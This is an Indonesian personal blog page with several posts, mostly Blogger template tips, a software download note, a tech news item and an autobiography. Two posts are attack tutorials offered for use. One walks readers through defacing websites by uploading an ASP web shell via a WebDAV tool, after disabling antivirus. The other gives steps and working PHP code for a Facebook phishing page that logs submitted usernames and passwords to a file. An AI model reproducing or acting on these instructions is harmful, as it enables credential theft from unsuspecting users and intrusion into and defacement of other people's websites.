Cara Membuat Artikel Terkait dibawah Postingan Blog

Cara Membuat Artikel Terkait dibawah Postingan Blog - Cara Membuat Related Post Dengan Gambar Berjalan - Cara Membuat Artikel Terkait Dibawah Posting Blog - Cara Membuat Artikel Terkait dengan Gambar - Cara Membuat Artikel Terkait dengan Thumbnail itulah judul -judul dalam pembuatan artikel terkait pada artikel Kang Zain Kali ini. 

Artikel terkait dibawah postingan blog bermacam-macam, mulai dengan scroll, dengan gambar berjalan atau cuma dengan gambar saja,, Ok ... pada kesempatan ini akan dibawas tuntas sebagai pilihan sobat dalam membuat artikel terkait. hehehe

Cara Membuat Artikel Terkait dibawah Postingan Blog

1. Login ke Dasbor >> Template (Untuk mengantisipasi terjadinya kesalahan Back Up dulu template blog sobat.)
2. Edit Template >> Lanjutkan >> Conteng Expand Template Widget
3. Cari kode  <data:post.body/> Untuk mempermudah gunakan F3 atau Ctrl+F. Biasanya akan ada 3 kode seperti itu, jika memang benar pilih kode yg ke-2 

4. Letakan Kode berikut tepat di bawah kode <data:post.body/>

<b:if cond='data:blog.pageType == &quot;item&quot;'><div style='margin-top: 10px;'><strong>Artikel Terkait</strong> <div class='rbbox'> <div style='margin:0; padding:10px;height:200px;overflow:auto;border:1px solid #ccc;'> <div id='ardi33'/> <script type='text/javascript'> var homeUrl3 = &quot;<data:blog.homepageUrl/>&quot;; var maxNumberOfPostsPerLabel = 4; var maxNumberOfLabels = 10; maxNumberOfPostsPerLabel = 100; maxNumberOfLabels = 3; function listEntries10(json) { var ul = document.createElement(&#39;ul&#39;); var maxPosts = (json.feed.entry.length &lt;= maxNumberOfPostsPerLabel) ? json.feed.entry.length : maxNumberOfPostsPerLabel; for (var i = 0; i &lt; maxPosts; i++) { var entry = json.feed.entry[i]; var alturl; for (var k = 0; k &lt; entry.link.length; k++) { if (entry.link[k].rel == &#39;alternate&#39;) { alturl = entry.link[k].href; break; } } var li = document.createElement(&#39;li&#39;); var a = document.createElement(&#39;a&#39;); a.href = alturl; if(a.href!=location.href) { var txt = document.createTextNode(entry.title.$t); a.appendChild(txt); li.appendChild(a); ul.appendChild(li); } } for (var l = 0; l &lt; json.feed.link.length; l++) { if (json.feed.link[l].rel == &#39;alternate&#39;) { var raw = json.feed.link[l].href; var label = raw.substr(homeUrl3.length+13); var k; for (k=0; k&lt;20; k++) label = label.replace(&quot;%20&quot;, &quot; &quot;); var txt = document.createTextNode(label); var h = document.createElement(&#39;b&#39;); h.appendChild(txt); var div1 = document.createElement(&#39;div&#39;); div1.appendChild(h); div1.appendChild(ul); document.getElementById(&#39;ardi33&#39;).appendChild(div1); } } } function search10(query, label) { var script = document.createElement(&#39;script&#39;); script.setAttribute(&#39;src&#39;, query + &#39;feeds/posts/default/-/&#39; + label + &#39;?alt=json-in-script&amp;callback=listEntries10&#39;); script.setAttribute(&#39;type&#39;, &#39;text/javascript&#39;); document.documentElement.firstChild.appendChild(script); } var labelArray = new Array(); var numLabel = 0; <b:loop values='data:posts' var='post'> <b:loop values='data:post.labels' var='label'> textLabel = &quot;<data:label.name/>&quot;; var test = 0; for (var i = 0; i &lt; labelArray.length; i++) if (labelArray[i] == textLabel) test = 1; if (test == 0) { labelArray.push(textLabel); var maxLabels = (labelArray.length &lt;= maxNumberOfLabels) ? labelArray.length : maxNumberOfLabels; if (numLabel &lt; maxLabels) { search10(homeUrl3, textLabel); numLabel++; } } </b:loop> </b:loop> </script> </div> <script type='text/javascript'>RelPost();</script></div> </div> </b:if>

 5. Jangan Lupa di SAVE

 Cara Membuat Related Post Dengan Gambar Berjalan

 1. Login ke Blogger dengan menggunakan akun anda
2. Lalu masuk ke Rancangan
3. Lalu Edit HTML
4. Centang Expand Template Widget
5. Jangan lupa untuk mendownload dulu template anda. dan kalau ada kesalahan bisa dikembalikan kesemula
6. Kemudian cari kode </head> (untuk mempermudah pencarian silahkan tekan CTRL + F pada keyboard)
7. Copy kode dibawah ini dan letakan tepat diatas kode </head>

    <!--Related Posts with thumbnails Scripts and Styles Start-->
    <b:if cond='data:blog.pageType == &quot;item&quot;'>
    <style type="text/css">
    #related-posts {
    float:center;
    text-transform:none;
    height:100%;
    min-height:100%;
    padding-top:5px;
    padding-left:5px;
    }
    #related-posts h2{
    font-size: 1.6em;
    font-weight: bold;
    color: #585858;
    font-family: Georgia, &#8220;Times New Roman&#8221;, Times, serif;
    margin-bottom: 0.75em;
    margin-top: 0em;
    padding-top: 0em;
    }
    #related-posts a{
    color:#FFFFCC;
    }
    #related-posts a:hover{
    color:#000000;
    }
    #related-posts a:hover {
    background-color:#d4eaf2;
    }
    </style>
    <script src='http://sundaboy.googlecode.com/files/relatet%20post.txt' type='text/javascript'/>
    </b:if>
    <!--Related Posts with thumbnails Scripts and Styles End-->

8. Selanjutnya cari lagi kode yang mirip dengan kode dibawah ini

    <div class='post-footer-line post-footer-line-1'>

9. Lalu Copy dan pastekan kode dibawah ini tepat dibawah kode diatas

    <!-- Marquee Serbablog Related Posts with Thumbnails Code Start-->
    <b:if cond='data:blog.pageType == &quot;item&quot;'>
    <div id='related-posts'>
    <b:loop values='data:post.labels' var='label'>
    <b:if cond='data:label.isLast != &quot;true&quot;'>
    </b:if>
    <b:if cond='data:blog.pageType == &quot;item&quot;'>
    <script expr:src='&quot;/feeds/posts/default/-/&quot; + data:label.name + &quot;?alt=json-in-script&amp;callback=related_results_labels_thumbs&amp;max-results=12&quot;' type='text/javascript'/></b:if></b:loop>
    <h3><b>Artikel Terkait</b></h3>
    <marquee align='center' behavior='alternate' direction='left' onmouseout='this.start()' onmouseover='this.stop()' scrollamount='2' width='100%'>
    <script type='text/javascript'>
    var currentposturl=&quot;<data:post.url/>&quot;;
    var maxresults=8;
    var relatedpoststitle=&quot;&quot;;
    removeRelatedDuplicates_thumbs();
    printRelatedLabels_thumbs();
    </script></marquee>
    </div><div style='clear:both'/>
    </b:if>
    <b:if cond='data:blog.url == data:blog.homepageUrl'><b:if cond='data:post.isFirstPost'>
    </b:if>
    </b:if>
    <!-- Marquee Nobi Related Posts with Thumbnails Code End-->

10. Simpan template dan lihat hasilnya

Cara Membuat Artikel Terkait dengan Gambar

 Cara Membuat Artikel Terkait dengan Gambar :

   1. Login Blogger
   2. Masuk Menu Template - Edit HTML - Lanjutkan
   3. Centang pada Expand Template Widget
   4. Cari kode </head> Gunakan tombol CTRL + F untuk mempermudah pencarian.
   5. Lalu Copy kode berikut dan letakan tepat diatas kode </head>

    <!--Start Related Posts-->
    <b:if cond='data:blog.pageType == &quot;item&quot;'>
    <style type='text/css'>
    #related-posts {
    float:center;
    text-transform:none;
    height:90%;
    min-height:90%;
    padding-top:0px;
    padding-left:8px;
    }
    #related-posts h2{
    font-size: 1.0em;
    font-weight: bold;
    color: white;
    font-family: Rockwell,Georgia,Serif;
    margin-bottom: 0.8em;
    margin-top:0em;
    padding-bottom:0em;
    }
    #related-posts a{
    color:white;
    }
    #related-posts a:hover{
    color:white;
    }
    #related-posts a:hover {
    background-color:#080;
    }
    </style>
    <script type='text/javascript'>
    var defaultnoimage=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMS3ugAr_Nr7wpI8SHuk_eBpx2I-aI5eThfItxmrdhI5Bfog_hm-KooOGXvvvNTpI4-HdB_ZpmfRpBrcHMvuV7t0CyRwz95T_iFjfmqAqs24zjq7pU7cc2wjI6yRcoJe7Th4XlsA7d-RhJ/s1600/No+Image.jpg&quot;;
    var maxresults=6;
    var splittercolor=&quot;#000000&quot;;
    var relatedpoststitle=&quot;Silahkan Baca Ini Juga:&quot;;
    </script>
    <script src='http://yourjavascript.com/22811210832/RelatedPoststhumb3.txt.js' type='text/javascript'/>
    </b:if>
    <!--End Related Post-->

    6. Selanjutnya cari kode berikut ( Jika ada dua kode, pilih bagian yang kedua ) :

    <data:post.body/>

    7. Kalau kode diatas sudah ketemu, Sekarang copy'lah script berikut :

    <!-- Start Related Posts-->
    <b:if cond='data:blog.pageType == &quot;item&quot;'>
    <div id='related-posts'>
    <b:loop values='data:post.labels' var='label'>
    <b:if cond='data:label.isLast != &quot;true&quot;'>
    </b:if>
    <script expr:src='&quot;/feeds/posts/default/-/&quot; + data:label.name + &quot;?alt=json-in-script&amp;callback=related_results_labels_thumbs&amp;max-results=7&quot;' type='text/javascript'/></b:loop>
    <script type='text/javascript'>
    removeRelatedDuplicates_thumbs();
    printRelatedLabels_thumbs(&quot;<data:post.url/>&quot;);
    </script>
    </div><div style='clear:both'/>
    </b:if>
    <!-- End Related Posts-->

    8. Paste'kan kode script diatas tepat dibawah kode :

    <data:post.body/> 

    9. Jika sudah, klik Simpan Template.

Catatan :

Berikut ini adalah kode yang bisa sobat ganti sebelum menyimpan template, gantilah tulisan berwarna merah sesuai keinginan sobat.

    Menampilkan jumlah artikel terkait yang muncul max-results=7
    Judul artikel terkait var relatedpoststitle=&quot;Silahkan Baca Ini Juga:&quot;;
    Warna Tulisan var splittercolor=&quot;#000000&quot;;

Cara Membuat Artikel Terkait dengan Thumbnail

1. Login ke akun Blogger sobat.
2. Klik Template >> Edit HTML >> Lanjutkan (jangan lupa centang Expand Template Widget).
3. Dengan menggunakan CTRL+F atau F3, cari kode berikut: </head>
4. Pastekan kode di bawah tepat di atas kode nomor 3 di atas

    <!--Related Posts with thumbnails Scripts and Styles Start-->
    <!-- remove --><b:if cond='data:blog.pageType == "item"'>
    <style type="text/css">
    #related-posts {
    float:center;
    text-transform:none;
    height:100%;
    min-height:100%;
    padding-top:5px;
    padding-left:5px;
    }
    #related-posts h2{
    font-size: 1.6em;
    font-weight: bold;
    color: black;
    font-family: Georgia, Times New Roman , Times, serif;
    margin-bottom: 0.75em;
    margin-top: 0em;
    padding-top: 0em;
    }
    #related-posts a{
    color:black;
    }
    #related-posts a:hover{
    color:black;
    }
    #related-posts a:hover {
    background-color:#d4eaf2;
    }
    </style>
    <script type='text/javascript'>
    var defaultnoimage="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHmMioCEJf3iZu66xZqP7V1g3DO9nkAIElU3IPKTB73aSmWc9hs2A3YQKrVFRI6M30BCSksa8EDhrYOhJ6gRNY5J7yT1iX8LLq2cjXSwes0t2LyrnKo53EhBfLtUqnLdQL47UYRkoFjtk/s400/noimage.png";
    var maxresults=5;
    var splittercolor="#d4eaf2";
    var relatedpoststitle="Related Posts";
    </script>
    <script src='http://infonetmu.googlecode.com/files/related-posts-with-thumbnails-for-blogger-pro.js' type='text/javascript'/>
    <!-- remove --></b:if>
    <!--Related Posts with thumbnails Scripts and Styles End-->

5. Lanjutkan dengan mencari kode <data:post.body/> dan pastekan kode berikut tepat di bawah kode <data:post.body/> tadi

    <!-- Related Posts with Thumbnails Code Start-->
    <!-- remove --><b:if cond='data:blog.pageType == &quot;item&quot;'>
    <div id='related-posts'>
    <b:loop values='data:post.labels' var='label'>
    <b:if cond='data:label.isLast != &quot;true&quot;'>
    </b:if>
    <script expr:src='&quot;/feeds/posts/default/-/&quot; + data:label.name + &quot;?alt=json-in-script&amp;callback=related_results_labels_thumbs&amp;max-results=6&quot;' type='text/javascript'/></b:loop>
    <script type='text/javascript'>
    removeRelatedDuplicates_thumbs();
    printRelatedLabels_thumbs(&quot;<data:post.url/>&quot;);
    </script>
    </div><div style='clear:both'/>
    <!-- remove --></b:if>
    <!-- Related Posts with Thumbnails Code End-->

6. Simpan template sobat dan lihat hasilnya

Keterangan :
var maxresults = 5 adalah jumlah artikel akan ditampilkan di related post blog sobat.
var relatedpoststitle="Related Posts";  kamu bisa ganti kata Related Posts atau kalimat lain yang sobat inginkan.

Sampai disini sobat, beberapa tutorial lengkap Cara Membuat Artikel Terkait dibawah Postingan Blog semoga bermanfaat. Good Luck Selamat Mencoba.

Read More

Cara Download Aplikasi Photoscape

                                     

Halo manteman Mas Dwiki ..kali ini saya mau kasih cara download software Photoscape
.Sebelum kita download software nya kita harus mengerti dulu apa itu Photoscape? Photoscape  adalah aplikasi untuk ng-edit foto.sudah tau kan??? Langsung saja to the point ke masalah nya :D



Download aplikasi :



Langsung Download 

Sekian dulu tutorial cara download Photoscape nya...

Semoga Bermanfaat bagi sobat-sobat



Kalau ada yang kurang di mengerti , langsung saja komen di bawah ini :D

Read More

Yahoo Kucurkan USD 1,1 Miliar Untuk Beli Tumblr

Sigmanews - Yahoo. Di bawah kepemimpinan sang CEO Marissa Mayer, para pemimpin perusahaan telah menyetujui pembelian situs blog Tumblr yang khusus seperti yang dikabarkan oleh Wall Street Journal, Senin (20/05). Disebutkan harga untuk membeli situs ini mencapai USD 1,1 miliar.

Tentunya belum ada pernyataan resmi namun akuisisi ini mungkin baru akan diumumkan pada ajang media NYC nantinya. Hal ini mungkin saja dilakukan untuk sekaligus mengumumkan informasi rincian mengenai terintegrasinya Tumblr dengan layanan Yahoo.

Memang belum ada informasi yang jelas atau resmi mengenai pemanfaatan Tumblr namun harga yang mahal itu dipastikan bukanlah asal beli sehingga diyakini Tumblr akan dibuat terintegrasi dengan layanan Yahoo atau pengguna layanan Yahoo akan mendapatkan manfaat lebih khusus untuk Tumblr dibanding pengguna layanan lainnya seperti Google.

Bagi yang ingin mengetahui seperti apa usaha yang akan dilakukan Yahoo terkait Tumblr sebaiknya menunggu hingga ajang media NYC dilaksanakan, tentunya tidak perlu menunggu lebih dari sehari. (irn/pm)

Read More

Biografi Tentang Diriku :D

Halo nama saya Dwiki Priangga Nugroho biasa di panggil Dwiki atau Angga.aku tinggal di kota Semarang.Aku lahir pada 9 Juli 1998 Semarang.Aku tergabung kelompok suporter yang berbasis di Semarang yaitu PANSER BIRU.Dan aku sangat menyukai yang namanya musik apalagi kalau aliran nya Reggae,itu musik yang paling aku sukai,Aku memang orang biasa tapi aku ingin tampil di depan orang sebagai orang yang luar biasa,dalam bidang pelajaran,musik,dan pergaulan.Aku mempunyai seorang kakak yang bernama Nanda Restu Hapsari,Dia itu orangya buat orang lain ilfil dengan tingkah lakunya,dia itu orangnya cerewet sekali hehehe....oohh iya lupa kenalkan juga orang tua ku yang selama ini telah membesarkan ku sampai sekarang,Beliau orang nya Tegas,Disiplin,dan Pengertian..Aku suka musik juga dari orang tua ku yaitu Bapak ku :D beliau juga pemain musik beliau adalah penyanyi..Sekarang beliau telah membahagiakan ku semoga esok hari aku bisa mem bahagiakan kedua orang tua ku :D
Inilah Biografi ku yang dapat saya sampaikan :)

Oh iya teman,doakan aku biar LULUS UN ya semoga dapat nilai yang memuaskan AMIN...

Semoga yang saya sampaikan bermanfaat

SAYANGILAH ORANG TUA MU , SAYANGILAH KAKAK/ADIK MU
KEJARLAH IMPIAN MU SETINGGI-TINGGI
SEMOGA KELAK ENGKAU BISA MEMBAHAGIAKAN ORANG TUA MU AMIN

Read More

Cara Hack/Deface Web Menggunakan Webdav

Halo sahabat Mas Dwiki kita bertemu lagi :D pasti pada kangen kan?? hehe

sekarang saya mau memberikan tutorial cara DEFACE WEB  

Langsung saja ke Tkp....



Download alat-alat berikut ini :

1.WEBDAV > Langsung Ke Sini 

2.Script > Langsung Ke SiniOh ya Password langsung saja hubungi SAYA 



Anda harus mematikan Anti virus dulu



Langsung saja Tutorial nya,...



1.Extract file Webdav nya dulu

2.Klik Webdav lalu klik Asp Shell.Lihat gambar :

3.Klik setting,nanti akan terlihat seperti di gambar :

5.Setelah itu klik Load Sheel Grom File (Script) :

6.Pilih file MasDwiki :

7.Klik load,otomatis nanti berubah sheel nya.lalu klik add site:

8.Lalu masukan target yang ingin kamu deface

9.Setelah itu klik OK.Setelah itu tunggu beberapa saat dan nanti akan keluar gambar seperti ini :

10.Setelah itu copy link berwarna biru itu ke dalam addres bar browser anda



11.Jika berhasil nanti akan nampak gambar di bawah ini :

Oke deh sudah selesai tutorial cara deface website :D selamat mencoba....

Kalau ada yang kurang di mengerti silahkan komen di bawah ini hehe...

Sampai jumpa di postingan selanjutnya bye bye :D

Read More

Cara Membuat Kotak Script Di Postingan Blog

Halo Sobat Belajar Hacking bertemu lagi dengan Mas Dwiki.Saya akan posting tutorial cara membuat kotak  script di postingan blog.Langsung to the point aja :D

Ikuti langkah - langkah berikut ini
1.Login akun Blogger
2.Anda Pilih Template > Edit HTML > klik Expand Template Widget
3.Cari kode ]]></b:skin>
4.Copy kode dibawah ini dan Paste tepat diatas kode ]]></b:skin>
/* http://infohacker1932.blogspot.com/
----------------------------------------------- */
.alert {margin: 10px 10px 10px 10px;
padding: 10px 15px 10px 15px;
line-height: 1.6em;color: #000000;
background: #e0ffff;
border: 1px solid #000000;
border-left: 15px solid #000000}
Keterangan : Silahkan ubah tulisan warna hijau sesuai template blog 
Kemudian Simpan Template

1. Selanjutnya sebelum kita menulis script pada posting, tambahkan kode berikut :


2. <p class="alert">
   Tulis Script Disini
   </p>
   
   SELAMAT MENCOBA :D SEMOGA BERMANFAAT

Read More

Cara Membuat Phising Semua Situs

Hei semua ketemu lagi dengan Mas Dwiki.Saya akan membahas bagaimana cara membuat Phising.

Langsung saja to the point saja hehe.contoh kita membuat phising facebook



1.bukaDi Sini,lalu view source. copy dan paste ke notepad.

Cari "action=" (tanpa quote) dan kita akan memulai editingnya.

pada action="http://www.facebook.com/login.php" ubahlah menjadi action="data.php"

kemudian ubah juga methode dari "POST" menjadi "get"



simpan notepad ini menjadi index.php (jangan html)
2.Buka notepad baru isikan kode berikut :
Code: Select all
header("Location:http://www.facebook.com/login.php ");

$handle = fopen("keren.txt", "a");

foreach($_GET as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

?>
#simpan di data.php

Sekarang sobat tinggal mengupload 2 file tersebut ke dalam hosting
misal Di sini, Atau Di sini

Read More